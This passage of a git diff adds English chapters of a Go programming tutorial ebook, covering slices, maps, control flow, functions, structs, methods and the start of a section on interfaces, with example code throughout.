aSlice = array[5:10] aSlice has elements f,g,h,i,j + aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements + + // slice from slice + aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f + bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f + bSlice = aSlice[0:5] // slcie could be expanded in range of cap, now bSlice contains d,e,f,g,h + bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g + +`slice` is reference type, so one of them changes will affect others. For instance, `aSlice` and `bSlice` above, if you change value of element in `aSlice`, `bSlice` will be changed as well. + +`slice` is like a struct by definition, it contains 3 parts. + +- A pointer that points to where `slice` starts. +- length of `slice`. +- Capacity, the length from start index to end index of `slice`. + + Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + Slice_a := Array_a[2:5] + +Underlying data structure of code above as follows. + +![](images/2.2.slice2.png?raw=true) + +Figure 2.4 Array information of slice + +There are some built-in functions for slice. + +- `len` gets length of `slice`. +- `cap` gets maximum length of `slice` +- `append` appends one or more elements to `slice`, and returns `slice` . +- `copy` copies elements from one slice to the other, and returns number of elements were copied. + +Attention: `append` will change array that `slice` points to, and affect other slices that point the same array. Also, if there is not enough length for the slice (`(cap-len) == 0`), `append` returns new array for this slice, at this point, other slices point to the old array will not be affected. + +### map + +`map` is like dictionary in Python, use form `map[keyType]valueType` to define it. + +Let's see some code, the set and get value in `map` is like `slice`, use `key` as agent, but index in `slice` can only be int type, and `map` can use much more than that, `int`, `string`, whatever you want. Also, they are all able to use `==` and `!=` to compare values. + + // use string as key type, int as value type, and you have to use `make` initialize it. + var numbers map[string] int + // another way to define map + numbers := make(map[string]int) + numbers["one"] = 1 // assign value by key + numbers["ten"] = 10 + numbers["three"] = 3 + + fmt.Println("The third number is: ", numbers["three"]) // get values + // It prints: The third number is: 3 + +`map` is like form in our lives, left side are `key`s, another side are values. + +Some notes when you use map. + +- `map` is disorderly, every time you print `map` will get different results. It's impossible to get value by `index`, you have to use `key`. +- `map` doesn't have fixed length, it's a reference type as `slice` does. +- `len` works for `map` also, it returns how many `key`s that map has. +- It's quite easy to change value through `map`, simply use `numbers["one"]=11` to change value of `key` one to `11`. + +You can use form `key:val` to initialize map's values, and `map` has method inside to check if the `key` exists. + +Use `delete` to delete element in `map`. + + // Initialize a map + rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } + // map has two return values. For second value, if the key doesn't exist,ok is false,true otherwise. + csharpRating, ok := rating["C#"] + if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) + } else { + fmt.Println("We have no rating associated with C# in the map") + } + + delete(rating, "C") // delete element with key "c" + +As I said above, `map` is a reference type, if two `map`s point to same underlying data, any change will affect both of them. + + m := make(map[string]string) + m["Hello"] = "Bonjour" + m1 := m + m1["Hello"] = "Salut" // now the value of m["hello"] is Salut + +### make, new + +`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`), `new` is for types' memory allocation. + +`new(T)` allocates zero-value to type `T`'s memory, returns its memory address, which is the value of type `*T`. By Go's term, it returns a pointer, which points to type `T`'s zero-value. + +`new` returns pointers. + +Built-in function `make(T, args)` has different purposes from `new(T)`, `make` can be used for `slice`, `map`, and `channel`, and returns a type `T` with initial value. The reason of doing this is because these three types' underlying data must be initialized before they point to them. For example, a `slice` contains a pointer points to underlying `array`, length and capacity. Before these data were initialized, `slice` is `nil`, so for `slice`, `map`, `channel`, `make` initializes their underlying data, and assigns some suitable values. + +`make` returns non-zero values. + +The following picture shows how `new` and `make` be different. + +![](images/2.2.makenew.png?raw=true) + +Figure 2.5 Underlying memory allocation of make and new + +As for zero-value, it doesn't mean empty value. It's the value that variables are not assigned manually, usually is 0, there is list of some zero-values. + + int 0 + int8 0 + int32 0 + int64 0 + uint 0x0 + rune 0 // the actual type of rune is int32 + byte 0x0 // the actual type of byte is uint8 + float32 0 // length is 4 byte + float64 0 //length is 8 byte + bool false + string "" + +## Links + +- [Directory](preface.md) +- Previous section: ["Hello, Go"](02.1.md) +- Next section: [Control statements and functions](02.3.md) diff --git a/en/eBook/02.3.md b/en/eBook/02.3.md new file mode 100644 index 00000000..cbda3029 --- /dev/null +++ b/en/eBook/02.3.md @@ -0,0 +1,516 @@ +# 2.3 Control statements and functions + +In this section, we are going to talk about control statements and function operation in Go. + +## Control statement + +The greatest inventions in programming language is flow control. Because of them, you are able to use simple control statements represent complex logic. There are three categories, conditional, cycle control and unconditional jump. + +### if + +`if` is the most common keyword in your programs. If it meets the conditions then does something, does something else if not. + +`if` doesn't need parentheses in Go. + + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + +The most useful thing of `if` in Go is that it can have one initialization statement before the conditional statement. The scope of variables which are defined in this initialization statement is only in the block of `if`. + + // initialize x, then check if x greater than + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + // the following code will not compile + fmt.Println(x) + +Use if-else for multiple conditions. + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } + +### goto + +Go has `goto`, be careful when you use it. `goto` has to jump to the `label` that in the body of same code block. + + func myFunc() { + i := 0 + Here: // label ends with ":" + fmt.Println(i) + i++ + goto Here // jump to label "Here" + } + +Label name is case sensitive. + +### for + +`for` is the most powerful control logic in Go, it can read data in loops and iterative operations, just like `while`. + + for expression1; expression2; expression3 { + //... + } + +`expression1`, `expression2` and `expression3` are all expressions obviously, where `expression1` and `expression3` are variable defination or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed before every loop, and `expression3` will be after. + +An example is more useful than hundreds of words. + + package main + import "fmt" + + func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index + } + fmt.Println("sum is equal to ", sum) + } + // Print:sum is equal to 45 + +Sometimes we need multiple assignments, but Go doesn't have operator `,`, so we use parallel assignment like `i, j = i + 1, j - 1`. + +We can omit `expression1` and `expression3` if they are not necessary. + + sum := 1 + for ; sum < 1000; { + sum += sum + } + +Omit `;` as well. Feel familiar? Yes, it's `while`. + + sum := 1 + for sum < 1000 { + sum += sum + } + +There are two important operations in loops which are `break` and `continue`. `break` jumps out the loop, and `continue` skips current loop and starts next one. If you have nested loops, use `break` with labels together. + + for index := 10; index>0; index-- { + if index == 5{ + break // or continue + } + fmt.Println(index) + } + // break prints 10、9、8、7、6 + // continue prints 10、9、8、7、6、4、3、2、1 + +`for` could read data from `slice` and `map` when it is used with `range`. + + for k,v:=range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) + } + +Because Go supports multi-value return and gives compile errors when you don't use values that was defined, so you may want to use `_` to discard some return values. + + for _, v := range map{ + fmt.Println("map's val:", v) + } + +### switch + +Sometimes you may think you use too much `if-else` to implement some logic, also it's not looking nice and herd to maintain in the future. Now it's time to use `switch` to solve this problem. + + switch sExpr { + case expr1: + some instructions + case expr2: + some other instructions + case expr3: + some other instructions + default: + other code + } + +The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible, conditions don't have to be constants, it executes from top to down until it matches conditions. If there is no statement after keyword `switch`, then it matches `true`. + + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + +In fifth line, we put many values in one `case`, and we don't need `break` in the end of `case` body. It will jump out of switch body once it matched any case. If you want to continue to match more cases, you need to use statement `fallthrough`. + + integer := 6 + switch integer { + case 4: + fmt.Println("integer <= 4") + fallthrough + case 5: + fmt.Println("integer <= 5") + fallthrough + case 6: + fmt.Println("integer <= 6") + fallthrough + case 7: + fmt.Println("integer <= 7") + fallthrough + case 8: + fmt.Println("integer <= 8") + fallthrough + default: + fmt.Println("default case") + } + +This program prints following information. + + integer <= 6 + integer <= 7 + integer <= 8 + default case + +## Functions + +Use the keyword `func` to define a function. + + func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + // function body + // multi-value return + return value1, value2 + } + +We can get following information from above example. + +- Use keyword `func` to define a function `funcName`. +- Functions have zero or one or more than one arguments, argument type after the argument name and broke up by `,`. +- Functions can return multiple values. +- There are two return values named `output1` and `output2`, you can omit name and use type only. +- If there is only one return value and you omitted the name, you don't need brackets for return values anymore. +- If the function doesn't have return values, you can omit return part. +- If the function has return values, you have to use `return` statement in some places in the body of function. + +Let's see one practical example. (calculate maximum value) + + package main + import "fmt" + + // return greater value between a and b + func max(a, b int) int { + if a > b { + return a + } + return b + } + + func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // call function here + } + +In the above example, there are two arguments in function `max`, their type are both `int`, so the first type can be omitted, like `a, b int` instead of `a int, b int`. Same rules for more arguments. Notice here the `max` only have one return value, so we only write type of return value, this is a short form. + +### Multi-value return + +One thing that Go is better than C is that it supports multi-value return. + +We use above example here. + + package main + import "fmt" + + // return results of A + B and A * B + func SumAndProduct(A, B int) (int, int) { + return A+B, A*B + } + + func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) + } + +Above example return two values without name, and you can name them also. If we named return values, we just use `return` to return values is fine because they initializes in the function automatically. Notice that if your functions are going to be used outside the package, which means your functions name start with capital letter, you'd better write complete statement for `return`; it makes your code more readable. + + func SumAndProduct(A, B int) (add int, Multiplied int) { + add = A+B + Multiplied = A*B + return + } + +### Variable arguments + +Go supports variable arguments, which means you can give uncertain number of argument to functions. + + func myfunc(arg ...int) {} + +`arg …int` tells Go this is the function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`. + + for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) + } + +### Pass by value and pointers + +When we pass an argument to the function that was called, that function actually gets the copy of our variables, any change will not affect to the original variable. + +Let's see one example to prove my words. + + package main + import "fmt" + + // simple function to add 1 to a + func add1(a int) int { + a = a+1 // we change value of a + return a // return new value of a + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // should print "x = 3" + + x1 := add1(x) // call add1(x) + + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 3" + } + +Did you see that? Even though we called `add1`, and `add1` adds one to `a`, the value of `x` doesn't change. + +The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself. + +Now you may ask how I can pass the real `x` to the function. + +We need use pointers here. We know variables store in the memory, and they all have memory address, we change value of variable is to change the value in that variable's memory address. Therefore the function `add1` have to know the memory address of `x` in order to change its value. Here we pass `&x` to the function, and change argument's type to pointer type `*int`. Be aware that we pass a copy of pointer, not copy of value. + + package main + import "fmt" + + // simple function to add 1 to a + func add1(a *int) int { + *a = *a+1 // we changed value of a + return *a // return new value of a + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // should print "x = 3" + + x1 := add1(&x) // call add1(&x) pass memory address of x + + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 4" + } + +Now we can change value of `x` in the functions. Why we use pointers? What are the advantages? + +- Use more functions to operate one variable. +- Low cost by passing memory addresses (8 bytes), copy is not an efficient way in both time and space to pass variables. +- `string`, `slice`, `map` are reference types, so they use pointers when pass to functions as default. (Attention: If you need to change length of `slice`, you have to pass pointers explicitly) + +### defer + +Go has a good design called `defer`, you can have many `defer` statements in one function; they will execute by reverse order when the program executes to the end of functions. Especially when the program open some resource files, these files have to be closed before the function return with errors. Let's see some examples. + + func ReadWrite() bool { + file.Open("file") + // Do some work + if failureX { + file.Close() + return false + } + + if failureY { + file.Close() + return false + } + + file.Close() + return true + } + +We saw some code repeat several times, `defer` solves this problem very well. It doesn't only help you make clean code, and also make code more readable. + + func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false + } + if failureY { + return false + } + return true + } + +If there are more than one `defer`, they will execute by reverse order. The following example will print `4 3 2 1 0`. + + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } + +### Functions as values and types + +Functions are also variables in Go, we can use `type` to define them. Functions that have same signature can be seen as same type. + + type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) + +What's the advantage of this feature? So that we can pass functions as values. + + package main + import "fmt" + + type testInt func(int) bool // define a function type of variable + + func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true + } + + func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false + } + + // pass the function `f` as an argument to another function + + func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result + } + + func main(){ + slice := []int {1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // use function as values + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) + fmt.Println("Even elements of slice are: ", even) + } + +It's very useful when we use interfaces. As you can see `testInt` is a variable that has function type, and return values and arguments of `filter` are the same as `testInt`. Therefore, we have more complex logic in our programs, and make code more flexible. + +### Panic and Recover + +Go doesn't have `try-catch` structure like Java does. Instead of throwing exceptions, Go uses `panic` and `recover` to deal with errors. However, you shouldn't use `panic` very much, although it's powerful. + +Panic is a built-in function to break normal flow of programs and get into panic status. When function `F` called `panic`, function `F` will not continue executing, but its `defer` functions are always executing. Then `F` goes back to its break point where causes panic status. The program will not end until all the functions return with panic to the first level of that `goroutine`. `panic` can be produced by calling `panic` in the program, and some errors also cause `panic` like array access out of bounds. + +Recover is a built-in function to recover `goroutine` from panic status, only call `recover` in `defer` functions is useful because normal functions will not be executed when the program is in the panic status. It catches `panic` value if the program is in the panic status, it gets `nil` if the program is not in panic status. + +The following example shows how to use `panic`. + + var user = os.Getenv("USER") + + func init() { + if user == "" { + panic("no value for $USER") + } + } + +The following example shows how to check `panic`. + + func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() // if f causes panic, it will recover + return + } + +### `main` function and `init` function + +Go has two retention which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. these two function are not able to have arguments or return values. Even though we can write many `init` function in one package, I strongly recommend to write only one `init` function for each package. + +Go programs will call `init()` and `main()` automatically, so you don't need to call them by yourself. For every package, function `init` is optional, but `package main` has one and only one `main` function. + +Programs initializes and executes from `main` package, if `main` package imports other packages, they will be imported in the compile time. If one package is imported many times, it will be only compiled once. After imported packages, programs will initialize constants and variables in imported packages, then execute `init` function if it exists, and so on. After all the other packages were initialized, programs start initialize constants and variables in `main` package, then execute `init` function in package if it exists. The following figure shows the process. + +![](images/2.3.init.png?raw=true) + +Figure 2.6 Flow of programs initialization in Go + +### import + +We use `import` very often in Go programs as follows. + + import( + "fmt" + ) + +Then we use functions in that package as follows. + + fmt.Println("hello world") + +`fmt` is from Go standard library, it locates in $GOROOT/pkg. Go uses two ways to support third-party packages. + +1. Relative path + import "./model" // load package in the same directory, I don't recommend this way. +2. Absolute path + import "shorturl/model" // load package in path "$GOPATH/pkg/shorturl/model" + +There are some special operators when we import packages, and beginners are always confused by these operators. + +1. Dot operator. + Sometime we see people use following way to import packages. + + import( + . "fmt" + ) + + The dot operator means you can omit package name when you call functions in that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`. +2. Alias operation. + It changes the name of package that we imported when we call functions in that package. + + import( + f "fmt" + ) + + Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`. +3. `_` operator. + This is the operator that hard to understand whitout someone explanning to you. + + import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" + ) + + The `_` operator actually means we just import that package, and use `init` function in that package, and we are not sure if want to use functions in that package. + +## Links + +- [Directory](preface.md) +- Previous section: [Go foundation](02.2.md) +- Next section: [struct](02.4.md) diff --git a/en/eBook/02.4.md b/en/eBook/02.4.md new file mode 100644 index 00000000..79a04a3a --- /dev/null +++ b/en/eBook/02.4.md @@ -0,0 +1,214 @@ +# 2.4 struct + +## struct + +We can define new type of container of other properties or fields in Go like in other programming languages. For example, we can create a type called `person` to represent a person, this type has name and age. We call this kind of type as `struct`. + + type person struct { + name string + age int + } + +Look how easy it is to define a `struct`! + +There are two fields. + +- `name` is a `string` used to store a person's name. +- `age` is a `int` used to store a person's age. + +Let's see how to use it. + + type person struct { + name string + age int + } + + var P person // p is person type + + P.name = "Astaxie" // assign "Astaxie" to the filed 'name' of p + P.age = 25 // assign 25 to field 'age' of p + fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p + +There are three more ways to define struct. + +- Assign initial values by order + + P := person{"Tom", 25} + +- Use format `field:value` to initialize without order + + P := person{age:24, name:"Bob"} + +- Define a anonymous struct, then initialize it + + P := struct{name string; age int}{"Amy",18} + +Let's see a complete example. + + package main + import "fmt" + + // define a new type + type person struct { + name string + age int + } + + // compare age of two people, return the older person and differences of age + // struct is passed by value + func Older(p1, p2 person) (person, int) { + if p1.age>p2.age { + return p1, p1.age-p2.age + } + return p2, p2.age-p1.age + } + + func main() { + var tom person + + // initialization + tom.name, tom.age = "Tom", 18 + + // initialize two values by format "field:value" + bob := person{age:25, name:"Bob"} + + // initialize two values with order + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) + } + +### embedded fields in struct + +I just introduced you how to define a struct with fields name and type. In fact, Go support fields without name but types, we call these embedded fields. + +When the embedded field is a struct, all the fields in that struct will be the fields in the new struct implicitly. + +Let's see one example. + + package main + import "fmt" + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // embedded field, it means Student struct includes all fields that Human has. + speciality string + } + + func main() { + // initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // modify notes + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // modify age + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // modify weight + fmt.Println("Mark is not an athlet anymore") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) + } + +![](images/2.4.student_struct.png?raw=true) + +Figure 2.7 Inheritance in Student and Human + +We see that we access age and name in Student just like we access them in Human. This is how embedded field works. It is very cool, isn't it? Hold on, there is something cooler! You can even use Student to access Human this embedded field! + + mark.Human = Human{"Marcus", 55, 220} + mark.Human.age -= 1 + +All the types can be used as embedded fields. + + package main + import "fmt" + + type Skills []string + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + speciality string + } + + func main() { + // initialize Student Jane + jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) + } + +In above example we can see that all types can be embedded fields and we can use functions to operate them. + +There is one more problem, if Human has a field called `phone` and Student has a field with same name, what should we do? + +Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not in the Human struct. This feature can be simply seen as `overload` of field. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string // Human has phone field + } + + type Employee struct { + Human // embedded field Human + speciality string + phone string // phone in employee + } + + func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // access phone field in Human + fmt.Println("Bob's personal phone is:", Bob.Human.phone) + } + +## Links + +- [Directory](preface.md) +- Previous section: [Control statements and functions](02.3.md) +- Next section: [Object-oriented](02.5.md) diff --git a/en/eBook/02.5.md b/en/eBook/02.5.md new file mode 100644 index 00000000..8cda4cdb --- /dev/null +++ b/en/eBook/02.5.md @@ -0,0 +1,307 @@ +# Object-oriented + +We talked about functions and structs in the last two sections, did you ever think about using functions as fields of a struct? In this section, I will introduce you another form of method that has receiver, which is called `method`. + +## method + +Suppose you define a struct of rectangle, and you want to calculate its area, we usually use following code to achieve this goal. + + package main + import "fmt" + + type Rectangle struct { + width, height float64 + } + + func area(r Rectangle) float64 { + return r.width*r.height + } + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) + } + +Above example can calculate rectangle's area, we use the function called `area`, but it's not a method of a rectangle struct (like methods in class in classic Object-oriented language). The function and struct are two independent things as you may notice. + +It's not a problem so far. What if you also have to calculate area of circle, square, pentagon, even more, you are going to add more functions with very similar name. + +![](images/2.5.rect_func_without_receiver.png?raw=true) + +Figure 2.8 Relationship between function and struct + +Obviously, it's not cool. Also the area should be the property of circle or rectangle. + +For those reasons, we have concepts about `method`. `method` is affiliated of type, it has same syntax as function except one more thing after the keyword `func` that is called `receiver` which is the main body of that method. + +Use the same example, `Rectangle.area()` belongs to rectangle, not as a peripheral function. More specifically, `length`, `width` and `area()` all belong to rectangle. + +As Rob Pike said. + + "A method is a function with an implicit first argument, called a receiver." + +Syntax of method. + + func (r ReceiverType) funcName(parameters) (results) + +Let's change out example by using method. + + package main + import ( + "fmt" + "math" + ) + + type Rectangle struct { + width, height float64 + } + + type Circle struct { + radius float64 + } + + func (r Rectangle) area() float64 { + return r.width*r.height + } + + func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi + } + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) + } + +Notes for using methods. + +- If the name of methods is same, but they don't have same receivers, they are not same. +- methods are able to access fields in receivers. +- Use `.` to call a method in the struct, just like to call fields. + +![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) + +Figure 2.9 Methods are difference in difference struct + +In above example, method area() is respectively belonging to Rectangle and Circle, so the receivers are Rectangle and Circle. + +One thing is worthy of note that the method with a dotted line means the receiver is passed by value, not by reference. The different between them is that the method could change receiver's value when the receiver is passed by reference, and it gets the copy of receiver when the receiver is passed by value. + +Does the receiver can only be struct? Of course not, any type could be the receiver of a method. You may be confused about customized type, struct is a special type of customized type, there are more customized types. + +Use following format to define a customized type. + + type typeName typeLiteral + +Examples about customized type. + + type ages int + + type money float32 + + type months map[string]int + + m := months { + "January":31, + "February":28, + ... + "December":31, + } + +I hope you know how to use customized type now. it's like `typedef` in C, we use `ages` to substitute `int` in above example. + +Let's get back to `method`. + +You can use as many methods in customized types as you want. + + package main + import "fmt" + + const( + WHITE = iota + BLACK + BLUE + RED + YELLOW + ) + + type Color byte + + type Box struct { + width, height, depth float64 + color Color + } + + type BoxList []Box //a slice of boxes + + func (b Box) Volume() float64 { + return b.width * b.height * b.depth + } + + func (b *Box) SetColor(c Color) { + b.color = c + } + + func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k + } + + func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } + } + + func (c Color) String() string { + strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] + } + + func main() { + boxes := BoxList { + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) + } + +We define some constants and customized types. + +- Use `Color` as alias of `byte`. +- Define a struct `Box` which has fields height, width, length and color. +- Define a struct `BoxList` which has `Box` as its field. + +Then we defined some methods for our customized types. + +- Volume() use Box as its receiver, returns volume of Box. +- SetColor(c Color) changes Box's color. +- BiggestsColor() returns the color which has the biggest volume. +- PaintItBlack() sets color for all Box in BoxList to black. +- String() use Color as its receiver, returns the string format of color name. + +Is it much clear when we use words to describe our requirements? We often write our requirements before we start coding. + +### Use pointer as receiver + +Let's take a look at method `SetColor`, its receiver is a pointer of Box. Yes, you can use `*Box` as receiver. Why we use pointer here? Because we want to change Box's color in this method, if we don't use pointer, it only changes value of copy of Box. + +If we see receiver as the first argument of the method, it's not hard to understand how it works. + +You may ask that we should use `(*b).Color=c` instead of `b.Color=c` in method SetColor(). Either one is OK here because Go knows it. Do you think Go is more fascinating now? + +You may also ask we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. One more time, either one is OK because Go knows it! + +### Inheritance of method + +We learned inheritance of field in last section, and we also have inheritance of method in Go. So that if a anonymous field has methods, then the struct that contains the field have all methods from it as well. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human // anonymous field + school string + } + + type Employee struct { + Human + company string + } + + // define a method in Human + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +### Method overload + +If we want Employee to have its own method `SayHi`, we can define the method that has same name in Employee, and it will hide `SayHi` in Human when we call it. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + } + + type Employee struct { + Human + company string + } + + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well. + +## Links + +- [Directory](preface.md) +- Previous section: [struct](02.4.md) +- Next section: [interface](02.6.md) diff --git a/en/eBook/02.6.md b/en/eBook/02.6.md new file mode 100644 index 00000000..cecabc88 --- /dev/null +++ b/en/eBook/02.6.md @@ -0,0 +1,395 @@ +# 2.6 Interface + +## Interface + +One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation. + +### What is an interface + +In short, an interface is a set of methods, that we use to define a set of actions. + +Like the examples in previous sections, both Student and Employee can `SayHi()`, but they don't do the same thing. + +Let's do more work, we add one more method `Sing()` to them, also add `BorrowMoney()` to Student and `SpendSalary()` to Employee. + +Now Student has three methods called `SayHi()`, `Sing()`, `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`. + +This combination of methods is called an interface, and is implemented by Student and Employee. So Student and Employee implement the interface: `SayHi()`, `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`. + +### Type of Interface + +An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface. + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + loan float32 + } + + type Employee struct { + Human + company string + money float32 + } + + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) + } + + func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) + } + + // Employee overloads Sayhi + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) + } + + func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! + } + + // define interface + type Men interface { + 